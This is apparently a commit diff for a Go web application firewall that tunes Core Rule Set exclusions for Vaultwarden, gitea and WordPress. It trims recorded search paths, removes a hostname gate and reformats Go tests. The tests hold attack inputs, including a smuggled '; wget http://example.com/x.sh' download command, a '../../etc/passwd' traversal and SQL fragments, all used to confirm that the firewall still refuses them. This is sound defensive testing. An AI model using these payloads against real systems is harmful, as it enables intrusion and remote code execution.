{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
-290
View File
@@ -91,296 +91,6 @@
/explore/organizations?q=docker-ci /explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci /api/v1/users/search?q=docker-ci
# Searches of the repositories on a user's and an organisation's page, recorded
# from gitea 1.27.3.
/alice?tab=repositories&q=ls+-la&sort=recentupdate
/alice?tab=repositories&q=python3&sort=recentupdate
/alice?tab=repositories&q=powershell&sort=recentupdate
/alice?tab=repositories&q=.htaccess&sort=recentupdate
/acme?q=ls+-la&sort=recentupdate
/acme?q=python3&sort=recentupdate
/acme?q=powershell&sort=recentupdate
/acme?q=.htaccess&sort=recentupdate
# The searches of the pages gitea and Forgejo share, with the fields their
# forms send, recorded from gitea 1.27.3. Each searches for words that name
# commands and files, such as python3 and .htaccess, and for plain words. A tag
# or package name can hold a slash, so the tags and packages pages also search
# for /bin/sh. The packages pages also search for a Maven name. The issues and
# pull requests of one team, and those of one milestone, are also searched for
# SQL. Each search of a package's versions is sent for a generic package and for
# the npm package @alice/tools-cli, whose name holds a slash.
/explore/topics/search?q=python3
/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=python3
/issues/search?q=python3
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=python3&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=python3
/notifications/watching?q=python3&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=python3
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=python3
/org/acme/teams/-/search?q=python3
/alice/-/code?q=python3&search_mode=exact
/alice/-/projects?state=open&q=python3
/alice/-/packages/generic/tools-cli/versions?q=python3&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=python3&sort=created_desc
/alice/tools/tags?q=python3
/alice/tools/milestones?state=open&q=python3
/alice/tools/milestone/1?q=python3
/alice/tools/projects?state=open&q=python3
/alice/tools/packages?q=python3&type=
/alice/tools/issues/posters?q=python3
/alice/tools/pulls/posters?q=python3
/alice/tools/issues/search?q=python3
/alice/tools/issues/suggestions?q=python3
/-/admin/actions/runners?q=python3
/user/settings/actions/runners?q=python3
/org/acme/settings/actions/runners?q=python3
/alice/tools/settings/actions/runners?q=python3
/-/admin/users?q=python3
/-/admin/orgs?q=python3
/-/admin/repos?q=python3&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=python3
/-/admin/emails?q=python3
/-/admin/packages?q=python3&type=
/explore/topics/search?q=powershell
/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=powershell
/issues/search?q=powershell
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=powershell&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=powershell
/notifications/watching?q=powershell&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=powershell
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=powershell
/org/acme/teams/-/search?q=powershell
/alice/-/code?q=powershell&search_mode=exact
/alice/-/projects?state=open&q=powershell
/alice/-/packages/generic/tools-cli/versions?q=powershell&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=powershell&sort=created_desc
/alice/tools/tags?q=powershell
/alice/tools/milestones?state=open&q=powershell
/alice/tools/milestone/1?q=powershell
/alice/tools/projects?state=open&q=powershell
/alice/tools/packages?q=powershell&type=
/alice/tools/issues/posters?q=powershell
/alice/tools/pulls/posters?q=powershell
/alice/tools/issues/search?q=powershell
/alice/tools/issues/suggestions?q=powershell
/-/admin/actions/runners?q=powershell
/user/settings/actions/runners?q=powershell
/org/acme/settings/actions/runners?q=powershell
/alice/tools/settings/actions/runners?q=powershell
/-/admin/users?q=powershell
/-/admin/orgs?q=powershell
/-/admin/repos?q=powershell&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=powershell
/-/admin/emails?q=powershell
/-/admin/packages?q=powershell&type=
/explore/topics/search?q=ls%20-la
/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=ls%20-la
/issues/search?q=ls%20-la
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=ls%20-la&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=ls%20-la
/notifications/watching?q=ls%20-la&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=ls%20-la
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=ls%20-la
/org/acme/teams/-/search?q=ls%20-la
/alice/-/code?q=ls%20-la&search_mode=exact
/alice/-/projects?state=open&q=ls%20-la
/alice/-/packages/generic/tools-cli/versions?q=ls%20-la&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=ls%20-la&sort=created_desc
/alice/tools/tags?q=ls%20-la
/alice/tools/milestones?state=open&q=ls%20-la
/alice/tools/milestone/1?q=ls%20-la
/alice/tools/projects?state=open&q=ls%20-la
/alice/tools/packages?q=ls%20-la&type=
/alice/tools/issues/posters?q=ls%20-la
/alice/tools/pulls/posters?q=ls%20-la
/alice/tools/issues/search?q=ls%20-la
/alice/tools/issues/suggestions?q=ls%20-la
/-/admin/actions/runners?q=ls%20-la
/user/settings/actions/runners?q=ls%20-la
/org/acme/settings/actions/runners?q=ls%20-la
/alice/tools/settings/actions/runners?q=ls%20-la
/-/admin/users?q=ls%20-la
/-/admin/orgs?q=ls%20-la
/-/admin/repos?q=ls%20-la&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=ls%20-la
/-/admin/emails?q=ls%20-la
/-/admin/packages?q=ls%20-la&type=
/explore/topics/search?q=.htaccess
/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=.htaccess
/issues/search?q=.htaccess
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=.htaccess&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=.htaccess
/notifications/watching?q=.htaccess&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=.htaccess
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=.htaccess
/org/acme/teams/-/search?q=.htaccess
/alice/-/code?q=.htaccess&search_mode=exact
/alice/-/projects?state=open&q=.htaccess
/alice/-/packages/generic/tools-cli/versions?q=.htaccess&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=.htaccess&sort=created_desc
/alice/tools/tags?q=.htaccess
/alice/tools/milestones?state=open&q=.htaccess
/alice/tools/milestone/1?q=.htaccess
/alice/tools/projects?state=open&q=.htaccess
/alice/tools/packages?q=.htaccess&type=
/alice/tools/issues/posters?q=.htaccess
/alice/tools/pulls/posters?q=.htaccess
/alice/tools/issues/search?q=.htaccess
/alice/tools/issues/suggestions?q=.htaccess
/-/admin/actions/runners?q=.htaccess
/user/settings/actions/runners?q=.htaccess
/org/acme/settings/actions/runners?q=.htaccess
/alice/tools/settings/actions/runners?q=.htaccess
/-/admin/users?q=.htaccess
/-/admin/orgs?q=.htaccess
/-/admin/repos?q=.htaccess&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=.htaccess
/-/admin/emails?q=.htaccess
/-/admin/packages?q=.htaccess&type=
/explore/topics/search?q=docker-compose.yml
/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=docker-compose.yml
/issues/search?q=docker-compose.yml
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=docker-compose.yml&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=docker-compose.yml
/notifications/watching?q=docker-compose.yml&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=docker-compose.yml
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=docker-compose.yml
/org/acme/teams/-/search?q=docker-compose.yml
/acme?q=docker-compose.yml&sort=recentupdate
/alice/-/code?q=docker-compose.yml&search_mode=exact
/alice/-/projects?state=open&q=docker-compose.yml
/alice/-/packages/generic/tools-cli/versions?q=docker-compose.yml&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=docker-compose.yml&sort=created_desc
/alice/tools/tags?q=docker-compose.yml
/alice/tools/milestones?state=open&q=docker-compose.yml
/alice/tools/milestone/1?q=docker-compose.yml
/alice/tools/projects?state=open&q=docker-compose.yml
/alice/tools/packages?q=docker-compose.yml&type=
/alice/tools/issues/posters?q=docker-compose.yml
/alice/tools/pulls/posters?q=docker-compose.yml
/alice/tools/issues/search?q=docker-compose.yml
/alice/tools/issues/suggestions?q=docker-compose.yml
/-/admin/actions/runners?q=docker-compose.yml
/user/settings/actions/runners?q=docker-compose.yml
/org/acme/settings/actions/runners?q=docker-compose.yml
/alice/tools/settings/actions/runners?q=docker-compose.yml
/-/admin/users?q=docker-compose.yml
/-/admin/orgs?q=docker-compose.yml
/-/admin/repos?q=docker-compose.yml&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=docker-compose.yml
/-/admin/emails?q=docker-compose.yml
/-/admin/packages?q=docker-compose.yml&type=
/explore/topics/search?q=install-script.sh
/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=install-script.sh
/issues/search?q=install-script.sh
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=install-script.sh&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=install-script.sh
/notifications/watching?q=install-script.sh&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=install-script.sh
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=install-script.sh
/org/acme/teams/-/search?q=install-script.sh
/acme?q=install-script.sh&sort=recentupdate
/alice/-/code?q=install-script.sh&search_mode=exact
/alice/-/projects?state=open&q=install-script.sh
/alice/-/packages/generic/tools-cli/versions?q=install-script.sh&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=install-script.sh&sort=created_desc
/alice/tools/tags?q=install-script.sh
/alice/tools/milestones?state=open&q=install-script.sh
/alice/tools/milestone/1?q=install-script.sh
/alice/tools/projects?state=open&q=install-script.sh
/alice/tools/packages?q=install-script.sh&type=
/alice/tools/issues/posters?q=install-script.sh
/alice/tools/pulls/posters?q=install-script.sh
/alice/tools/issues/search?q=install-script.sh
/alice/tools/issues/suggestions?q=install-script.sh
/-/admin/actions/runners?q=install-script.sh
/user/settings/actions/runners?q=install-script.sh
/org/acme/settings/actions/runners?q=install-script.sh
/alice/tools/settings/actions/runners?q=install-script.sh
/-/admin/users?q=install-script.sh
/-/admin/orgs?q=install-script.sh
/-/admin/repos?q=install-script.sh&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=install-script.sh
/-/admin/emails?q=install-script.sh
/-/admin/packages?q=install-script.sh&type=
/explore/topics/search?q=release%20notes
/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=release%20notes
/issues/search?q=release%20notes
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=release%20notes&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=release%20notes
/notifications/watching?q=release%20notes&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=release%20notes
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=release%20notes
/org/acme/teams/-/search?q=release%20notes
/acme?q=release%20notes&sort=recentupdate
/alice/-/code?q=release%20notes&search_mode=exact
/alice/-/projects?state=open&q=release%20notes
/alice/-/packages/generic/tools-cli/versions?q=release%20notes&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=release%20notes&sort=created_desc
/alice/tools/tags?q=release%20notes
/alice/tools/milestones?state=open&q=release%20notes
/alice/tools/milestone/1?q=release%20notes
/alice/tools/projects?state=open&q=release%20notes
/alice/tools/packages?q=release%20notes&type=
/alice/tools/issues/posters?q=release%20notes
/alice/tools/pulls/posters?q=release%20notes
/alice/tools/issues/search?q=release%20notes
/alice/tools/issues/suggestions?q=release%20notes
/-/admin/actions/runners?q=release%20notes
/user/settings/actions/runners?q=release%20notes
/org/acme/settings/actions/runners?q=release%20notes
/alice/tools/settings/actions/runners?q=release%20notes
/-/admin/users?q=release%20notes
/-/admin/orgs?q=release%20notes
/-/admin/repos?q=release%20notes&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=release%20notes
/-/admin/emails?q=release%20notes
/-/admin/packages?q=release%20notes&type=
/alice/tools/tags?q=%2Fbin%2Fsh
/alice/tools/packages?q=%2Fbin%2Fsh&type=
/-/admin/packages?q=%2Fbin%2Fsh&type=
/alice/tools/packages?q=org.apache.commons.logging&type=
/-/admin/packages?q=org.apache.commons.logging&type=
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
# Pages, raw files and edit pages of files, and the API's call for their # Pages, raw files and edit pages of files, and the API's call for their
# contents. # contents.
/owner/repo/src/branch/main/package.json /owner/repo/src/branch/main/package.json
+2 -12
View File
@@ -1,11 +1,11 @@
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that # The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where # refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain # Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request, # text, and the names of uploaded files. Each exclusion runs with the request,
# before the rules it switches off, so this file is loaded before the Core Rule # before the rules it switches off, so this file is loaded before the Core Rule
# Set's rules. Each comment names a request a rule refused. An exclusion on a # Set's rules. Each comment names a request a rule refused. An exclusion on a
# field of a body applies only when the query has no parameter of that name, so # field of a body applies only when the query has no parameter of that name, so
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # it matters only while SWW_WAF_BODY_LIMIT is set.
# #
# The apps encrypt the names, notes, addresses and file names of vault items, # The apps encrypt the names, notes, addresses and file names of vault items,
# folders, collections and sends before they send them. These values pass # folders, collections and sends before they send them. These values pass
@@ -17,14 +17,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Every rule below is skipped unless Inspect has set tx.app_vaultwarden. It
# sets it while SWW_WAF_APPS is unset, or lists vaultwarden for the request's
# hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules: # Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming # name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team" # an organization or a group, "python3 .htaccess team"
@@ -132,5 +124,3 @@ SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
ctl:ruleRemoveTargetById=942540;ARGS:token,\ ctl:ruleRemoveTargetById=942540;ARGS:token,\
ctl:ruleRemoveTargetById=942550;ARGS:token,\ ctl:ruleRemoveTargetById=942550;ARGS:token,\
ctl:ruleRemoveTargetById=944150;ARGS:token" ctl:ruleRemoveTargetById=944150;ARGS:token"
SecMarker END_VAULTWARDEN
+26 -155
View File
@@ -9,11 +9,9 @@ import (
"slices" "slices"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const vaultwardenThreshold = 5 const vaultwardenThreshold = 5
// Paths of Vaultwarden's API and admin page. // Paths of Vaultwarden's API and admin page.
@@ -31,23 +29,6 @@ const (
// vaultwardenEmail is a JSON body that sends an address in email. // vaultwardenEmail is a JSON body that sends an address in email.
const vaultwardenEmail = `{"email":"VALUE"}` const vaultwardenEmail = `{"email":"VALUE"}`
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(
t *testing.T,
) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
}
// vaultwardenField is a field Vaultwarden receives in plain text: the // vaultwardenField is a field Vaultwarden receives in plain text: the
// request that sends it, and its body, with VALUE where the field's value // request that sends it, and its body, with VALUE where the field's value
// goes. // goes.
@@ -87,53 +68,18 @@ var vaultwardenNameFields = []vaultwardenField{
http.MethodPost, vaultwardenFinishSignUp, jsonBody, http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`, `{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
}, },
{ {http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
http.MethodPut, {http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
vaultwardenProfile,
jsonBody,
`{"name":"VALUE","culture":"en-US"}`,
},
{
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"masterPasswordHint":"VALUE"}`,
},
{ {
http.MethodPost, "/api/organizations", jsonBody, http.MethodPost, "/api/organizations", jsonBody,
`{"name":"VALUE","billingEmail":"billing@example.com"}`, `{"name":"VALUE","billingEmail":"billing@example.com"}`,
}, },
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`}, {http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
{ {http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
http.MethodPost, {http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
vaultwardenOrganization + "/groups", {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
jsonBody, {http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
`{"name":"VALUE"}`, {http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"invitation_org_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_from_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
{
http.MethodPut,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
} }
// vaultwardenAddressFields hold every field of a body that skips 930120, // vaultwardenAddressFields hold every field of a body that skips 930120,
@@ -145,18 +91,8 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, "/identity/connect/token", formData, http.MethodPost, "/identity/connect/token", formData,
"grant_type=password&username=VALUE&password=example&scope=api+offline_access", "grant_type=password&username=VALUE&password=example&scope=api+offline_access",
}, },
{ {http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
"/identity/accounts/prelogin/password",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
vaultwardenSignUp,
jsonBody,
`{"email":"VALUE","name":"Alice"}`,
},
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail}, {http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
{ {
http.MethodPost, vaultwardenFinishSignUp, jsonBody, http.MethodPost, vaultwardenFinishSignUp, jsonBody,
@@ -170,84 +106,34 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, vaultwardenPassword, jsonBody, http.MethodPost, vaultwardenPassword, jsonBody,
`{"authenticationData":{"salt":"VALUE"}}`, `{"authenticationData":{"salt":"VALUE"}}`,
}, },
{ {http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"unlockData":{"salt":"VALUE"}}`,
},
{ {
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody, http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`, `{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
}, },
{ {http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
"/api/accounts/password-hint",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/accounts/email-token",
jsonBody,
`{"newEmail":"VALUE"}`,
},
{ {
http.MethodPost, "/api/emergency-access/invite", jsonBody, http.MethodPost, "/api/emergency-access/invite", jsonBody,
`{"email":"VALUE","type":0}`, `{"email":"VALUE","type":0}`,
}, },
{ {http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
http.MethodPut,
vaultwardenOrganization,
jsonBody,
`{"billingEmail":"VALUE"}`,
},
{ {
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody, http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
`{"emails":["alice@example.com","VALUE"],"type":2}`, `{"emails":["alice@example.com","VALUE"],"type":2}`,
}, },
{ {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
http.MethodPost, {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
vaultwardenSettings, {http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
jsonBody,
`{"smtp_from":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_username":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"org_creation_users":"VALUE"}`,
},
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
{ {http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
"/api/two-factor/send-email-login",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/two-factor/send-email",
jsonBody,
vaultwardenEmail,
},
{ {
http.MethodPut, "/api/two-factor/email", jsonBody, http.MethodPut, "/api/two-factor/email", jsonBody,
`{"email":"VALUE","token":"123456"}`, `{"email":"VALUE","token":"123456"}`,
}, },
{ {http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
http.MethodPost,
"/api/auth-requests",
jsonBody,
`{"email":"VALUE","type":0}`,
},
} }
// vaultwardenBreachReport is the data breach report, which sends an address // vaultwardenBreachReport is the data breach report, which sends an address
@@ -313,7 +199,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
var vaultwardenAttacks = []string{ var vaultwardenAttacks = []string{
injection, injection,
scriptTag, scriptTag,
shellCommand, "; wget http://example.com/x.sh",
"../../etc/passwd", "../../etc/passwd",
} }
@@ -370,12 +256,7 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, refused.body) got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < vaultwardenThreshold { if got.Score < vaultwardenThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
"POST %s %s let through: %+v",
refused.target,
refused.body,
got,
)
} }
} }
@@ -411,8 +292,7 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
func masterPasswordHashes(count int) []string { func masterPasswordHashes(count int) []string {
const size, seed = 32, 288 const size, seed = 32, 288
//nolint:gosec // a fixed sample random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
random := rand.New(rand.NewPCG(seed, seed))
hashes := make([]string, count) hashes := make([]string, count)
@@ -460,15 +340,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body)) t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
} }
if got, _ := inspectBody(t, crs, sent.r, body); len( if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
got.RuleIDs, t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
) != 0 {
t.Errorf(
"POST %s %v set off rules: %+v",
sent.r.target,
sent.names,
got,
)
} }
} }
} }
@@ -477,9 +350,7 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
t.Parallel() t.Parallel()
crs := readingBodies(t) crs := readingBodies(t)
encrypted := vaultwardenUpload( encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
)
for _, target := range []string{ for _, target := range []string{
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a", vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
+2 -11
View File
@@ -1,16 +1,9 @@
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused # The ninth change: on WordPress's paths, some fields skip the rules that refused
